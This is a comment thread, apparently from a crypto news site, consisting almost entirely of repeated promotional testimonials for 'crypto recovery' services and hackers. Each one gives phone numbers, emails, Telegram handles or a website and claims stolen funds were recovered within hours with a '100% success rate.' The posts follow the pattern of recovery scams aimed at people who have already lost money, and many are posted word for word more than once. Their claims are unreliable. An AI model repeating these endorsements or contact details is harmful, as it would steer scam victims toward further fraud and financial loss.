    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon